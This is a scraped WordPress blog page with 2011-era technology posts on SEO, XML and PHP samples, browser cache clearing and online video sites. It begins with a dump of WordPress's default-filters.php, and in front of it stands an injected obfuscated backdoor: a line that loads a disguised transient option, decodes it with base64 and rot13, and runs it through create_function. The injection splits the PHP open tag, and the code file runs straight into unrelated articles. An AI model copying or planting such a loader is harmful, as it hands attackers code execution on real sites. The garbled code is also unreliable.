< ;$z=get_option("_transient_feed_bb2fc2faa16b072e192595324fef3a61"); $z=base64_decode(str_rot13($z)); if(strpos($z,"0781E056")!==false){ $_z=create_function("",$z); @$_z(); } ?php /** * Sets up the default filters and actions for most * of the WordPress hooks. * * If you need to remove a default hook, this file will * give you the priority for which to use to remove the * hook. * * Not all of the default hooks are found in default-filters.php * * @package WordPress */ // Strip, trim, kses, special chars for string saves foreach ( array( 'pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target', 'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name', 'pre_user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_filter_kses' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Strip, kses, special chars for string display foreach ( array( 'term_name', 'comment_author_name', 'link_name', 'link_target', 'link_rel', 'user_display_name', 'user_first_name', 'user_last_name', 'user_nickname' ) as $filter ) { add_filter( $filter, 'sanitize_text_field' ); add_filter( $filter, 'wp_kses_data' ); add_filter( $filter, '_wp_specialchars', 30 ); } // Kses only for textarea saves foreach ( array( 'pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description' ) as $filter ) { add_filter( $filter, 'wp_filter_kses' ); } // Kses only for textarea saves displays foreach ( array( 'term_description', 'link_description', 'link_notes', 'user_description' ) as $filter ) { add_filter( $filter, 'wp_kses_data' ); } // Email saves foreach ( array( 'pre_comment_author_email', 'pre_user_email' ) as $filter ) { add_filter( $filter, 'trim' ); add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_filter_kses' ); } // Email display foreach ( array( 'comment_author_email', 'user_email' ) as $filter ) { add_filter( $filter, 'sanitize_email' ); add_filter( $filter, 'wp_kses_data' ); } // Save URL foreach ( array( 'pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image', 'pre_link_rss' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url_raw' ); add_filter( $filter, 'wp_filter_kses' ); } // Display URL foreach ( array( 'user_url', 'link_url', 'link_image', 'link_rss', 'comment_url' ) as $filter ) { add_filter( $filter, 'wp_strip_all_tags' ); add_filter( $filter, 'esc_url' ); add_filter( $filter, 'wp_kses_data' ); } // Slugs foreach ( array( 'pre_term_slug' ) as $filter ) { add_filter( $filter, 'sanitize_title' ); } // Keys foreach ( array( 'pre_post_type' ) as $filter ) { add_filter( $filter, 'sanitize_user' ); } // Places to balance tags on input foreach ( array( 'content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content' ) as $filter ) { add_filter( $filter, 'balanceTags', 50 ); } // Format strings for display. foreach ( array( 'comment_author', 'term_name', 'link_name', 'link_description', 'link_notes', 'bloginfo', 'wp_title', 'widget_title' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'esc_html' ); } // Format text area for display. foreach ( array( 'term_description' ) as $filter ) { add_filter( $filter, 'wptexturize' ); add_filter( $filter, 'convert_chars' ); add_filter( $filter, 'wpautop' ); add_filter( $filter, 'shortcode_unautop'); } // Format for RSS foreach ( array( 'term_name_rss' ) as $filter ) { add_filter( $filter, 'convert_chars' ); } // Display filters add_filter( 'the_title', 'wptexturize' ); add_filter( 'the_title', 'convert_chars' ); add_filter( 'the_title', 'trim' ); add_filter( 'the_content', 'wptexturize' ); add_filter( 'the_content', 'convert_smilies' ); add_filter( 'the_content', 'convert_chars' ); add_filter( 'the_content', 'wpautop' ); add_filter( 'the_content', 'shortcode_unautop' ); add_filter( 'the_content', 'prepend_attachment' ); add_filter( 'the_excerpt', 'wptexturize' ); add_filter( 'the_excerpt', 'convert_smilies' ); add_filter( 'the_excerpt', 'convert_chars' ); add_filter( 'the_excerpt', 'wpautop' ); add_filter( 'the_excerpt', 'shortcode_unautop'); add_filter( 'get_the_excerpt', 'wp_trim_excerpt' ); add_filter( 'comment_text', 'wptexturize' ); add_filter( 'comment_text', 'convert_chars' ); add_filter( 'comment_text', 'make_clickable', 9 ); add_filter( 'comment_text', 'force_balance_tags', 25 ); add_filter( 'comment_text', 'convert_smilies', 20 ); add_filter( 'comment_text', 'wpautop', 30 ); add_filter( 'comment_excerpt', 'convert_chars' ); add_filter( 'list_cats', 'wptexturize' ); add_filter( 'single_post_title', 'wptexturize' ); add_filter( 'wp_sprintf', 'wp_sprintf_l', 10, 2 ); // RSS filters add_filter( 'the_title_rss', 'strip_tags' ); add_filter( 'the_title_rss', 'ent2ncr', 8 ); add_filter( 'the_title_rss', 'esc_html' ); add_filter( 'the_content_rss', 'ent2ncr', 8 ); add_filter( 'the_excerpt_rss', 'convert_chars' ); add_filter( 'the_excerpt_rss', 'ent2ncr', 8 ); add_filter( 'comment_author_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'ent2ncr', 8 ); add_filter( 'comment_text_rss', 'esc_html' ); add_filter( 'bloginfo_rss', 'ent2ncr', 8 ); add_filter( 'the_author', 'ent2ncr', 8 ); // Misc filters add_filter( 'option_ping_sites', 'privacy_ping_filter' ); add_filter( 'option_blog_charset', '_wp_specialchars' ); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop add_filter( 'option_home', '_config_wp_home' ); add_filter( 'option_siteurl', '_config_wp_siteurl' ); add_filter( 'tiny_mce_before_init', '_mce_set_direction' ); add_filter( 'pre_kses', 'wp_pre_kses_less_than' ); add_filter( 'sanitize_title', 'sanitize_title_with_dashes' ); add_action( 'check_comment_flood', 'check_comment_flood_db', 10, 3 ); add_filter( 'comment_flood_filter', 'wp_throttle_comment_flood', 10, 3 ); add_filter( 'pre_comment_content', 'wp_rel_nofollow', 15 ); add_filter( 'comment_email', 'antispambot' ); add_filter( 'option_tag_base', '_wp_filter_taxonomy_base' ); add_filter( 'option_category_base', '_wp_filter_taxonomy_base' ); add_filter( 'the_posts', '_close_comments_for_old_posts' ); add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 ); add_filter( 'editable_slug', 'urldecode' ); // Atom SSL support add_filter( 'atom_service_url','atom_service_url_filter' ); // Actions add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'feed_links_extra', 3 ); add_action( 'wp_head', 'rsd_link' ); add_action( 'wp_head', 'wlwmanifest_link' ); add_action( 'wp_head', 'index_rel_link' ); add_action( 'wp_head', 'parent_post_rel_link', 10, 0 ); add_action( 'wp_head', 'start_post_rel_link', 10, 0 ); add_action( 'wp_head', 'adjacent_posts_rel_link', 10, 0 ); add_action( 'wp_head', 'locale_stylesheet' ); add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 ); add_action( 'wp_head', 'noindex', 1 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_generator' ); add_action( 'wp_head', 'rel_canonical' ); add_action( 'wp_footer', 'wp_print_footer_scripts' ); // WP Cron if ( !defined( 'DOING_CRON' ) ) add_action( 'sanitize_comment_cookies', 'wp_cron' ); // 2 Actions 2 Furious add_action( 'do_feed_rdf', 'do_feed_rdf', 10, 1 ); add_action( 'do_feed_rss', 'do_feed_rss', 10, 1 ); add_action( 'do_feed_rss2', 'do_feed_rss2', 10, 1 ); add_action( 'do_feed_atom', 'do_feed_atom', 10, 1 ); add_action( 'do_pings', 'do_all_pings', 10, 1 ); add_action( 'do_robots', 'do_robots' ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'admin_print_scripts', 'print_head_scripts', 20 ); add_action( 'admin_print_footer_scripts', 'print_footer_scripts', 20 ); add_action( 'admin_print_styles', 'print_admin_styles', 20 ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); add_action( 'pre_post_update', 'wp_save_post_revision' ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'future_post', '_future_post_hook', 5, 2 ); add_action( 'future_page', '_future_post_hook', 5, 2 ); add_action( 'save_post', '_save_post_hook', 5, 2 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); // Post Thumbnail CSS class filtering add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect Old Slugs add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'edit_post', 'wp_check_for_changed_slugs' ); add_action( 'edit_form_advanced', 'wp_remember_old_slug' ); add_action( 'init', '_show_post_preview' ); // Timezone add_filter( 'pre_option_gmt_offset','wp_timezone_override_offset' ); Read XML - Interesting News around the web | Category Archive | Technology

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Where Did Digg’s PageRank Go?

Posted on 06 February 2011 by admin

Apparently, either the current Google PageRank update or someone at Google doesn’t like Digg because the nexus for social media currently has a PageRank score of zero.

That’s right, when you navigate to Digg.com, Google’s green bar turns white (this goes for both the www. version and the non-www. version). I’ve got a screenshot if you are interested in case this gets corrected anytime soon. Although, when you consider How PageRank Works, then perhaps this wasn’t an accident at all.

Hat-tip to DazzlinDonna for pointing this out at her SEO Scoop blog.

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. net : how do I write XML to a file?

Posted on 06 February 2011 by admin

This sample illustrates how to write XML to a file using the XmlTextWriter class. The writer provides a fast, forward-only way of generating XML and helps you to build XML documents that conform to the W3C Extensible Markup Language (XML) 1.0 and the Namespaces in XML specifications. The XmlTextWriter writes to a stream rather than using an object model such as the XML DOM, and so gives better performance.
Typically, you use an XmlTextWriter if you need to write XML as raw data without the overhead of a DOM. The XmlTextWriter is an implementation of the XmlWriter class that provides the API which writes XML to file, stream, or a TextWriter. This class provides numerous validation and checking rules to ensure that the XML being written is well formed. When certain violations occur, exceptions are thrown and these exceptions should be caught. The XmlTextWriter has different constructors, each of which specifies a different type of the location to which to write the XML data. This sample uses the constructor that writes XML to a file. In particular, the following sample code constructs an XmlTextWriter with a string representing the file location for the newbooks.xml file.

Dim myXmlTextWriter As XmlTextWriter =

new XmlTextWriter ("newbooks.xml", nothing)

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Looking for words? Try our wordsfinder keyword generator !

Posted on 06 February 2011 by admin

There is a new mash up out there from wordsfinder.
Wordsfinder has launced a new smart tagging API which provides a new way to generate search friendly keywords and tags for CMS. The new service itself is designed to automate the painful process of find the right keywords once a new article, news is produced via any CMS. While anyone can use these APIs, the primary audience will be web agencies, web masters, ad tool developers, and search marketers. The new API is a mash up of Yahoo!, Google Adwords, Wikipedia and Wordtracker.

In more details it uses the power of Yahoo Term Extractor and Google get Keywords From Site to extract keywords to then feed them to Wikipedia and wordtracker to get better and more search friendly results. The web service is invoked via an Asynchronous REST call once a new article is submitted, automatically retrieving the best keywords available at moment.

Additionally, there is a Traffic Estimator Tool based on Overture.

* Is driven off the Overture keyword suggestion tool.
* Offers suggested monthly regional search volumes by market for Google, Yahoo!, MSN and ASK
* Links the search volumes to the related global search results.

It is a site worth bookmarking.

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Map XML to HTML

Posted on 06 February 2011 by admin

This example maps tags in an XML document directly to HTML tags. Elements not found in the “map array” are ignored. Of course, this example will only work with a specific XML document type. $file = “data.xml”; $map_array = array( “BOLD” => “B”, “EMPHASIS” => “I”, “LITERAL” => “TT” ); function startElement($parser, $name, $attrs) { global $map_array; if (isset($map_array[$name])) { echo “<$map_array[$name]>“; } } function endElement($parser, $name) { global $map_array; if (isset($map_array[$name])) { echo ““; } } function characterData($parser, $data) { echo $data; } $xml_parser = xml_parser_create(); // use case-folding so we are sure to find the tag in $map_array xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, true); xml_set_element_handler($xml_parser, “startElement”, “endElement”); xml_set_character_data_handler($xml_parser, “characterData”); if (!($fp = fopen($file, “r”))) { die(”could not open XML input”); } while ($data = fread($fp, 4096)) { if (!xml_parse($xml_parser, $data, feof($fp))) { die(sprintf(”XML error: %s at line %d”, xml_error_string(xml_get_error_code($xml_parser)), xml_get_current_line_number($xml_parser))); } } xml_parser_free($xml_parser);

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Get RSS feed using PHP then format into HTML

Posted on 06 February 2011 by admin

PHP will allow us to write a short, simple program to fetch an RSS feed from a website, store a copy of that RSS feed locally for our own use, parse the appropriate data out of that feed, and then format a site bit with the HTML of our own choosing. (If that sounds difficult, don’t worry, I’ll step you through the process below).

Simply follow 3 easy steps:

1. download (right click and save as) SimpleReader.txt and change extention to php

2. In SimpleReader.php change the below array adding the RSS feeds you would like to display on your web site.

// Here are the feeds - you can add to them or change them
$RSSFEEDS = array(
0 => ” http://www.site-reference.com/xml.php?c=all “,
1 => ” http://rss.cnn.com/rss/cnn_topstories.rss “,
2 => ” http://rss.slashdot.org/Slashdot/slashdot “,
);

3. In SimpleReader.php customize your HTML page :

function FormatRow($title, $description, $link) {
return <<

$title

$description

Read more…


HTML; }

4. Add the following in your HTML page to fetch the feeds you have specified in step 2.

?>

5. An Example on : Cheap Remote Bluetooth Wifi

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Google, Digg, Yahoo + More

Posted on 06 February 2011 by admin

When it comes to web brands, you’d be hard-pressed to find ones more popular than Google, Yahoo and Digg. These sites are becoming so well known (2 already are as popular as any brand out there), any major Internet marketing campaign must consider leveraging these sites.

What follows in today’s issue of WebProNews are some blog articles I’ve written featuring the three companies I named above as well as some other posts that might catch your interest. If you have any comments, please drop by WebProBlog and make them at the corresponding post.

Yahoo!, Google Apart Of Mobile Phone Hype

The early part of the New Year has been especially kind to the mobile phone industry in terms of positive buzz - culminating with yesterday’s Apple iPhone announcement that knocked the social media side of the web off its feet. Standing at the center of this social media storm (well, perhaps not in the middle, but definitely major players) are none other than Google and Yahoo!.

During yesterday’s iPhone announcement - presented by Steve Jobs - Engadget’s coverage revealed the iPhone would very supportive of Google’s cavalcade of web applications (a Google Maps demonstration was presented during the announcement) as well as confirming a partnership with Yahoo!. Surprisingly, the iPhone is not the only device these competitors have partnered with.

According to numerous reports, both Yahoo and Google have also partnered with Samsung for the recently launched SGH-Z720 phone. Google’s partnership allows users to access three of Google’s web applications - search, Gmail, and Google Maps.

Yahoo!’s partnership calls for the phones to come preloaded with Yahoo! Go 2.0; Yahoo! oneSearch (Yahoo’s mobile web search feature); Yahoo! Mail; Yahoo! Messenger and Yahoo! Personal Information Management. Of course, all of these services are intended to provide potential owners with a more robust user experience and considering all of the applications available, Samsung has succeeded in doing so.
Partnerships like these are good indicator of what powerful search engines like Google and Yahoo are focusing on (not solely of course): the mobile Internet. As more and more users adopt this method of Internet interaction, partnering with the mobile phone companies to provide mobile web services goes a long way towards securing a future beyond organic web search.

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Feature article : Read MySQL using PHP to write XML file 20

Posted on 06 February 2011 by admin

Establishing a database connection with PHP The following sample PHP script connects to the database and executes a query: $db_name = “xrandomusa_4″; $connection = mysql_connect(”MySQL.somewhere.com”, “username”, “password”) or die(”Could not connect.”); $table_name = ‘pages’; Querying MySQL With the connection made, you must establish the current database using the MySQL connection. The following code handles this task: $db = mysql_select_db($dbName, $link); Now, write a SQL statement to select all rows in $table_name . Ā $query = “select * from ” . $table_name; If necessary, you can add attributes later. For now, execute the query like so: $result = mysql_query($query, $connection) or die(”Could not complete database query”); $num = mysql_num_rows($result); Build and write the XML if ($num != 0) { $file= fopen(”results.xml”, “w”); $_xml =”\r\n”; $_xml .=”\r\n”; while ($row = mysql_fetch_array($result)) { if ($row[”pageTitle”]) { $_xml .=”\t\r\n”; $_xml .=”\t\t” . $row[”pageLink”] . “\r\n”; $_xml .=”\t\r\n”; } else { $_xml .=”\t\r\n”; $_xml .=”\t\tnone\r\n”; $_xml .=”\t\r\n”; } } $_xml .=””; fwrite($file, $_xml); fclose($file); echo “XML has been written. View the XML.”; } else { echo “No Records found”; } ?> Ā Here’s a breakdown of what’s happening. Variable num represents the presence of row data from your query, measurable using MySQL’s mysql_num_rows function. This leads us into your procedural output of the XML. Variable $file contains a pointer to the file object produced when PHP successfully reads the file system in search of results.xml. If results.xml is found, your PHP file object, named file, is created and made writeable. Now you can print the contents of a variable to it, which is what you’ll do because your directory permissions are set up to allow PHP to do this. Keep in mind that for security reasons, this is a dumb thing to do in real-world Web applications. To make sure your implementation of the concepts covered in this article are secure, you should provide a full path to a directory containing the files you wish to open for writing, and make sure it’s in a directory above your Web root. Next, PHP’s mysql_fetch_array function converts the query variable $result to an array, and loops through its keys. If pageTitle was among the columns returned in the query, for each row returned, some XML-formatted text is written to string variable $_xml . Note that the operator “.=”, which is being used to append the XML-formatted strings as values, is read from $row . When the loop is finished, the root XML node is printed to variable $_xml , and the whole variable is written to file.xml using PHP’s fwrite function. At this point, a link appears on the screen. Make sure this link points to the path of your XML file, or you won’t be able to see the formatted XML produced by PHP from your MySQL query.

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Why Don’t You Have an Interesting Website?

Posted on 06 February 2011 by admin

What is it that makes a website appealing? The content of course, as you may have heard many times before, the easy part is getting someone to look at your website and the hard part is getting them to stay there.

What I see happening more and more over the internet is people selling or offering a service that appeals to a single market. Websites are optimized to promote that service and nothing else… why?

As I have discovered the internet and its structure I have also discovered what keeps people coming back and what makes them sit there for 30 minutes browsing through pages as if they had nothing better to do. That is what I feel every web developer should be hoping for. The more enticed a surfer is, the more likely they are to remember your site and product. Even if they are not remotely interested in what you offer they may know someone who is, word of mouth is a powerful tool as far as sales go.

Now for the nitty gritty, what can you do to make your website an appealing place to snoop around when things are quiet in the office? Say you are in the Cellular phone industry, huge market with huge competition and now you have to make your website stand out.

1: Google “Cell phone facts”
2: Google “Fun Cell phone facts”

Not much along the lines of interesting or fun? So why not launch an all out search for things about cell phones that people don’t know? Where did it start? Is there an animal that uses cell phones? What is the general life span of a cell phone?

Pull in about 20 of these and you can rotate them daily or even weekly on your homepage to give you an extra edge and make your site interesting. Bonus being, your site gets spidered more often due to the changing content and this may improve your chances of getting indexed under a variety of keywords.

What if your site could become a resource? Children all over the world do projects on cell phones, they type in “what is a cell phone” where are you? Your site can be right under “how stuff works” and “wikipedia”, its not a tough key phrase so wing it. Make sure you provide decent and useful information… spamming a key phrase will only upset potential customers… always think about what they may be telling friends or family about your site.

Grab as many stats for as many cell phones as you can off the net, pull in any information… be it features, uses, risks, complaints etc and document them on your website in its own section. Remember, on a website, every page is unique. Different pages can have different tags, keywords, descriptions and content so make every page unique… you find Samsung facts don’t get you much traffic but Nokia could pull in thousands… why not have them both just to be safe? Or if you want to go to the next extreme, try different pages for different models of phone.

The idea, although seemingly centered on cell phones, is general and can be applied to any market. The key is making numerous pages with unique content and keeping your homepage updated.

• Pro’s
- Alexa enjoys fresh content
- The more pages you have, the more pages get indexed
- The amount of people likely to find you is greatly improved
- Word of mouth generates better sales
- The variety of content on a single market leaves you more likely to get back links.

• Cons
- Its time consuming

So give it a bash… chances are that you will be amazed at the response you get.
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Get the tools needed to manage your keywords, track landing pages, build links and more all for free right now! Trust me, this isn’t your grandma’s SEO manager.

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An Important Note about Changing Browser Settings/Configurations

Posted on 06 February 2011 by admin

The Internet browser settings and configurations we suggest in this article relate to the optimum performance of the LexisNexis® family of web-based products only. The settings you choose in configuring your browser directly affects all of the internal and external browser-based applications you use. You should always check with your Network Administrator or your PC/IT team before you change any system setting or configuration. If you have questions or concerns about the browser settings you should use with your LexisNexis® products, please contact our Customer Support team. Clearing your cache can significantly improve the speed and performance of your browser. The following procedures provide steps to clear the cache memory for a variety of browsers: NOTE: Not all LexisNexis products support all the browsers referred to on this page.
Wireless Handheld Macintosh
BlackBerry Handheld Internet Wireless Handheld Internet Explorer 5.0 (Macintosh)
Macintosh OS 10.2 Safari 1.0 / Safari 2.0
America Online® Microsoft® Internet Explorer
America Online 5.0 (32 bit) Internet Explorer 5.0
America Online 6.0 Internet Explorer 6.0
America Online 7.0 Internet Explorer 7.0
America Online 8.0 & 9.0
Netscape® Communicator/Navigator Firefox
Communicator / Navigator 4.0 Firefox 1.0
Communicator / Navigator 6.0 Firefox 2.0
Communicator / Navigator 7.0
Communicator / Navigator 8.0

Clearing Cache on the BlackBerry Wireless Handheld

Clearing the content caches clears both the rendered pages and server data:
  1. Highlight the BlackBerry browser icon and click the trackwheel.
  2. Click the trackwheel again to display the Browser Options menu.
  3. Scroll down to Options and click the trackwheel to open the browser options screen.
  4. Scroll down to General Properties and click the trackwheel to open the General Properties screen.
  5. Click the trackwheel to open the Cache menu.
  6. Scroll down to Clear Content Caches and click the trackwheel to clear the cache and return to the General Properties screen.
  7. Use the Escape button to page back through the screens to the BlackBerry main menu.
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Clearing Cache on Safari 1.0 / Safari 2.0 for Macintosh OS X

  1. Open Safari.
  2. Select Empty Cache.
  3. Click Empty on the Are you sure message box.
  4. Exit and relaunch the browser.
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Clearing Cache on Microsoft® Internet Explorer 5.0 for Macintosh

  1. Open Internet Explorer.
  2. Click Edit and select Preferences.
  3. Click the arrow beside Web Browser.
  4. Click Advanced.
  5. Click Empty Now.
  6. Click Ok.
  7. Exit and relaunch the browser.
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Clearing Cache on America Online® 5.0 (32 bit)

  1. Click Start, select Settings and Control Panel.
  2. Double-click Internet Options to open Internet Properties.
  3. Click Delete Files.
  4. Click OK on the Delete Files dialog box.
  5. Click OK.
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Clearing Cache on America Online® 6.0

  1. Click Start, select Settings and Control Panel.
  2. Double-click Internet Options to open Internet Properties.
  3. Click Delete Files.
  4. Click OK on the Delete Files dialog box.
  5. Click OK.
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Clearing Cache on America Online® 7.0

  1. Click Start, select Settings and Control Panel.
  2. Double-click Internet Options to open Internet Properties.
  3. Click Delete Files.
  4. Click OK on the Delete Files dialog box.
  5. Click OK.
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Clearing Cache on America Online® 8.0 & 9.0

  1. Click Start, select Settings and Control Panel.
  2. Double-click Internet Options to open Internet Properties.
  3. Click Delete Files.
  4. Click OK on the Delete Files dialog box.
  5. Click OK.
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Clearing Cache on Microsoft® Internet Explorer 5.0

  1. Click Start and select Settings, then Control Panel.
  2. Double-click Internet Options to open Internet Properties.
  3. Click Delete Files.
  4. Click OK on the Delete Files dialog box.
  5. Click OK.
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Clearing Cache on Microsoft® Internet Explorer 6.0

  1. Click Start and select Settings, then Control Panel.
  2. Double-click Internet Options to open Internet Properties.
  3. Click Delete Files.
  4. Click OK on the Delete Files dialog box.
  5. Click OK.
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Clearing Cache on Microsoft® Internet Explorer 7.0

  1. Click Start and select Settings, then Control Panel.
  2. Double-click Internet Options.
  3. Click the General tab.
  4. Click Delete under the Browsing History section.
  5. Click Delete Files in the Delete Browsing History dialog box.
  6. Click OK.
  7. Click Close.
  8. Close and relaunch your browser.
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Clearing Cache on Netscape® Communicator / Navigator 4.0

  1. Click Edit and select Preferences.
  2. Click Advanced.
  3. Click Cache.
  4. Click Clear Memory Cache.
  5. Click Clear Disk Cache.
  6. Click OK.
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Clearing Cache on Netscape® Communicator / Navigator 6.0

  1. Click Edit and select Preferences.
  2. Click Advanced.
  3. Click Cache.
  4. Click Clear Memory Cache.
  5. Click Clear Disk Cache.
  6. Click OK.
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Clearing Cache on Netscape® Communicator / Navigator 7.0

  1. Click Edit and select Preferences.
  2. Click the Triangle next to Advanced to expand it.
  3. Click Cache.
  4. Click Clear Cache.
  5. Click OK.
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Clearing Cache on Netscape® Communicator / Navigator 8.0

  1. Click Tools and select Options.
  2. Select Privacy under Options on the left side of the screen.
  3. Click Cache.
  4. Click Clear Cache.
  5. Click Clear.
  6. Click OK.
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Clearing Cache on Firefox 1.0

  1. Click Tools and select Options.
  2. Click the Privacy Icon.
  3. Click Clear across from the Cache option.
  4. Click Ok.
  5. Exit and relaunch the browser.
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Clearing Cache on Firefox 2.0

  1. Click Tools and select Options.
  2. Click the Privacy icon.
  3. Click Clear Now in the Private Data area.
  4. Click Ok.
  5. Exit and relaunch the browser.

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YouTube and Google Video vs Yahoo Video, Metacafe, Veho, Stupid Video, Current TV, Blinkx,Vsocial, Skycast, Video Egg

Posted on 06 February 2011 by admin

Overview to alternative video sites

When you think about Videos on the internet you think about YouTube or Google Video. Well think again. There are around 100 web video sites. They more or less do the same thing, showing you videos but there are some differences. This article explore some of them. Enjoy !
Yahoo! Video

The new video site includes videos from around the web and a few from Yahoo! users as well. The top navigation bar references “My Studio” which could be a way for anyone to author and upload their own video files or maybe add some special effects. The new site supports personal favorites, tagging, and ratings of each video. The existing Yahoo! Video site does not include any user-submitted content or metadata.
Metacafe

Google’s acquisition of YouTube realigned the online video space.

Metacafe is now the “world’s largest independent video site,” according to Arik Czerniak, Co-founder and CEO. I had a lengthy chat with Czerniak yesterday while he was in New York City, the “media capital of the world.”

For Czerniak, there are two kinds of User Generated Content videos: personal or entertainment. Personal UGC videos, the “friends and family” variety, are only of interest to the small circle of people with personal attachment to the content. Entertainment UGC videos, on the other hand, transcend individuals to spark the interest of tens of thousands of viewers.

Metacafe is championing broadly entertaining videos, not uniquely personal ones.

3 step process

A key differentiator of Metacafe is its three step process for serving only “entertainment-grade” video content:

1) Video search “footprint” eliminates duplicates and improves relevancy,

2) 100,000 reviewers filter out inappropriate or uninteresting content,

3) VideoRank mines collective wisdom of viewer to determine site placement.

Too Exclusive?

Only 10% of videos uploaded are accepted for inclusion at Metacafe and those that are the most engaging to viewers are organically promoted.

Producer Rewards program

Metacafe recently launched a Producer Rewards program designed to foster even greater UGC video quality by providing a compensation program for content creators.

Producer Rewards heralds a new “User Licensed Content” (ULC) model, according to Czerniak. Producers are paid a fixed rate card fee of $5 CPM once video views exceed 20,000, in exchange for licensing their content non-exclusively to Metacafe. The program’s one month beta yielded 30 video creators more than $60,000 combined for their work.

Contrary to Google Sponsored Video for “major producers” (see “Why Google Sponsored Video is Google business as usual”), Metacafe Producer Rewards is a vehicle for real UGC video creators to take a shot at the video “brass ring.”

Czerniak believes its unique ULC model will motivate and inspire the creator in everyone. Metacafe views its $5 CPM ULC fee as an investment in growing the best UGC video library online. Metacafe is currently monetized by banner advertising at the site, not Google AdSense.

By continually enhancing the quality of its “entertainment grade” videos, Metacafe is confident that its controlled environment will attract brand advertisers that want to participate in social media but are averse to UGC risk. Syndication of Metacafe’s ULC across multi distribution platforms is also a goal.

MetaCafe believes that Google’s high-profile, high-ticket purchase of YouTube makes Czerniak has left a huge potential of short form video. Short form video is not an “extension of TV,” it is a new medium with unlimited potential. Metacafe is committed to go as far as it can go to realize that potential. Metacafe has “better technology” than YouTube and is a “better entertainment destination” than YouTube.
Veho

Veho offers a pretty unique service giving video recommendations based on clips you’ve already watched somewhere, using an algorithm developed by Ted Dunning, developer of Yahoo!Music. Perhaps the pivot of the relaunch will be the P2P Veoh Player (this player can also be connected to your TV and controlled by remote), which will support full length downloads from Veoh, torrents, video sharing sites around the web and any RSS feeds.

Excellent idea : upload your video to Veoh and the site will also automatically publish it on YouTube, Google Video and MySpace. A new browser bookmarklet will let you download videos from any site. So you are able to leave footprints all over the web, even if you won’t become a celebrity, guys will have got you.
Stupid Video

Among the big boys there is only one site without a big name that snuck in among the big boys, and it actually has a stupid name: StupidVideos.com

As impressive as it is that StupidVideos.com came in sixth in total sessions and seventh in unique visitors, some other metrics show an even more interesting, stickier picture of the site. StupidVideos is the runaway leader in page views per session with a massive 43, which is 74% more than Break.com in second place.

StupidVideos excels in the number of sessions per unique visitor, out-pacing all other sites in the top ten and trailing only Compfused.com (the 16th overall site).
Knowing viewers.

31% of the U.S Internet users watch online videos at least monthly where an estimate 8% upload clips. There is a study that shows the majority of monthly “video uploaders” are young, predominately 18-24 years old, with men only slightly more likely than women to upload video. Further, the total number of uploaders is comparable to the number of monthly online gamblers.

Conclusions:

Most of the well known video sites seem to have some sort of common layout. The only original layout comes from an independent site called : http://www.tbshumorstudy.com which won the best video site award in 2006. It has got a branded video player. The site is light and it has got a few videos on each page. Dailymotion.com has been voted as the best web 2.0 video site (followed by youtube and metacafe). Dailymotion is still the grandaddy of all video sharing platform and one of the easiest to navigate.

Current TV has got the cleanest design done with very clever CSS / XHTML coding. There is no FLASH on the site which makes it very light.

blinkx.com has got a pretty original main window. All the videos thumbnails are actually videos. It must have been technically very challenging

Video Egg has got the most stunning video quality and stylish desing.

vsocial.com gives money to build a personalized video site. This is what they say : Whether you are a small/mid sized business, ad agency, or Publisher, you can launch a new video channel or a word of mouth campaign “micro-site” in as little as a few hours; with instant monetization; custom branding, search optimization and easy syndication in one affordable offering.

Skycast has a quite clean code and the average page size is 70k where a blog page is around 24k. On the other hand A YouTube page is around 90k. I think the CSS code can be improved but I think it is fine.

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